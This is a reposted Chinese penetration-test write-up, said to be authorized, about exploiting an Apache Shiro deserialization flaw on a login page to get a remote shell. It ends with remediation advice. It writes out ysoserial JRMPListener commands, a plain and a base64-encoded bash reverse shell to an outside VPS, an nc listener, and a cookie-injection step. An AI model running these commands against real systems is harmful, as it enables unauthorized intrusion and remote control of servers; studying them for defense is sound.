搜索

[18335] 2021-04-22_实战渗透-Shiro反序列化漏洞实例

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2021-04-22_实战渗透-Shiro反序列化漏洞实例 实 战 渗 透 - S h i r o 反 序 列 化 漏 洞 实 例 A d m i n x e   H A C K 之 道   2 0 2 1 - 0 4 - 2 2 收 录 于 话 题 # 渗 透 总 结   , 3 # 渗 透 实 战   , 1 2 作 者 ： 作 者 ： A d m i n x e ， 转 载 于 ， 转 载 于 h t t p s : / / b l o g . c s d n . n e t / A d m i n x e 0 x 0 1 . 前 言 前 言 这 是 一 次 授 权 的 渗 透 测 试 ， 技 术 含 量 不 高 ， 但 我 始 终 相 信 ， 每 一 次 的 积 累 ， 都 是 为 了 成 就 更 好 的 自 己 ， 所 以 过 程 简 洁 ， 记 录 下 每 个 知 识 点 。 对 渗 透 而 言 ， 我 更 喜 欢 实 战 的 体 验 感 ， 那 种 喜 悦 和 知 识 的 获 取 感 ， 永 远 是 无 法 比 拟 的 。 这 次 实 战 ， 最 多 的 还 是 收 获 ， 拿 下 此 战 ， 进 而 渗 透 更 多 的 站 来 获 取 不 同 的 细 节 ， 不 懂 的 话 你 就 品 一 下 。 0 x 0 2 . 渗 透 过 程 渗 透 过 程 这 篇 文 章 没 有 前 期 的 信 息 收 集 ， 省 略 过 了 一 切 ， 直 接 开 始 我 们 渗 透 。 1 ） 网 站 环 境 ） 网 站 环 境 域 名 ： h t t p : / / m a n a g e . x x x x x x . o r g . c n / x x x   / l o g i n . j s p 程 序 语 言 ： j s p 这 仅 仅 是 一 个 登 录 框 的 测 试 。
2 ） 探 测 登 录 框 架 ） 探 测 登 录 框 架 开 启 神 奇 B u r p ， 抓 包 ， 通 过 返 回 包 的 情 况 来 进 行 分 析 （ 敏 感 信 息 打 码 ） 3 ） 步 入 洞 点 ） 步 入 洞 点 当 看 到 关 键 字 r e m e m b e r M e = d e l e t e M e ; ， 你 是 否 就 会 想 起 S h i r o 反 序 列 化 漏 洞 ， 那 么 我 们 现 在 用 实 验 室 的 集 成 脚 本 进 行 测 试 ， 是 否 存 在 S h i r o 反 序 列 化 漏 洞 。 这 里 相 当 于 先 提 供 P O C 测 试 。 首 先 b u r p 做 监 听 器 ：
然 后 使 用 脚 本 进 行 测 试 ：
经 过 测 试 ， 是 存 在 S h i r o 反 序 列 化 漏 洞 的 。 4 ） 深 入 探 测 ） 深 入 探 测 S h i r o 反 序 列 化 漏 洞 反 序 列 化 漏 洞 这 边 的 目 的 ， 就 是 危 害 最 大 程 度 ， 那 么 我 就 继 续 进 行 测 试 ， 最 严 重 的 模 式 ， 也 就 是 直 接 拿 到 主 机 s h e l l ， 这 边 也 提 供 最 详 细 的 操 作 ， 以 及 遇 到 的 一 些 坑 点 作 为 分 享 。 思 路 ： 一 台 公 网 的 v p s 做 监 听 ， 配 合 b u r p 发 送 p a y l o a d ， 然 后 获 取 s h e l l 。 1 . 在 公 网 在 公 网   v p s   执 行 下 列 命 令 ： 执 行 下 列 命 令 ： “ 反 弹 s h e l l 的 命 令 ” 这 里 的 命 令 ， 需 要 使 用   J a v a   R u n t i m e   配 合   b a s h   编 码 。 最 终 执 行 命 令 为 ： j a v a   - c p   y s o s e r i a l . j a r   y s o s e r i a l . e x p l o i t . J R M P L i s t e n e r   1 0 6 6   C o m m o n s C o l l e c t i o n s 5 b a s h   - i   >   / d e v / t c p / i p / p o r t   0 > &   1 j a v a   - c p   y s o s e r i a l . j a r   y s o s e r i a l . e x p l o i t . J R M P L i s t e n e r   1 0 6 6   C o m m o n s C o l l e c t i o n s 5   “ b a s h   - c   { e c h o , Y m F z a C A t a S A + J i A v Z G V 2 L 3 R j c C 8 y M T I u N j Q u O D c u M y 8 x M j M 0 I D A + J i A x } | { b a s e 6 4 , -
这 里 的 C o m m o n s C o l l e c t i o n s ， 分 为 1 - 1 0 模 块 进 行 测 试 ， 这 边 使 用 模 块 5 进 行 渗 透 。 2 . 使 用 使 用   e x p   生 成 生 成   p a y l o a d 3 . 公 网 公 网   v p s   开 启 开 启   n c   监 听 监 听 4 . 抓 任 意 抓 任 意   h t t p   数 据 包 ， 在 数 据 包 ， 在   c o o k i e   中 追 加 中 追 加   p a y l o a d 。 。 G o G o G o d } | { b a s h , - i } ”   P y t h o n   e x p . p y   公 网 i p ： p o r t （ 这 边 有 一 点 要 避 雷 ） N c   - l v p   1 2 3 4         ( 监 听 1 2 3 4 端 口 )
5 . 成 功 拿 到 成 功 拿 到 s h e l l 0 x 0 3 . 修 复 方 案 修 复 方 案 升 级   S h i r o   版 本 至   1 . 2 . 5   以 上 ； 更 改 默 认 密 钥 。 0 x 0 4 . 总 结 总 结 1 . 了 解 基 本 的 网 站 架 构 2 . 抓 包 探 测 确 定 中 间 件 3 . 了 解 各 类 中 间 件 和 框 架 的 漏 洞
4 . 熟 悉 并 熟 练 掌 握 S h i r o 漏 洞 的 利 用 方 式 5 . 熟 悉 n c 的 使 用 方 法 6 . 多 积 累 ， 多 学 习 ， 多 练 习 ● 干 货 | 渗 透 学 习 资 料 大 集 合 （ 书 籍 、 工 具 、 技 术 文 档 、 视 频 教 程 ） 点 击 上 方 ， 关 注 公 众 号 点 击 上 方 ， 关 注 公 众 号 如 文 章 对 你 有 帮 助 ， 请 支 持 点 下 “ 赞 ” “ 在 看 ”
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理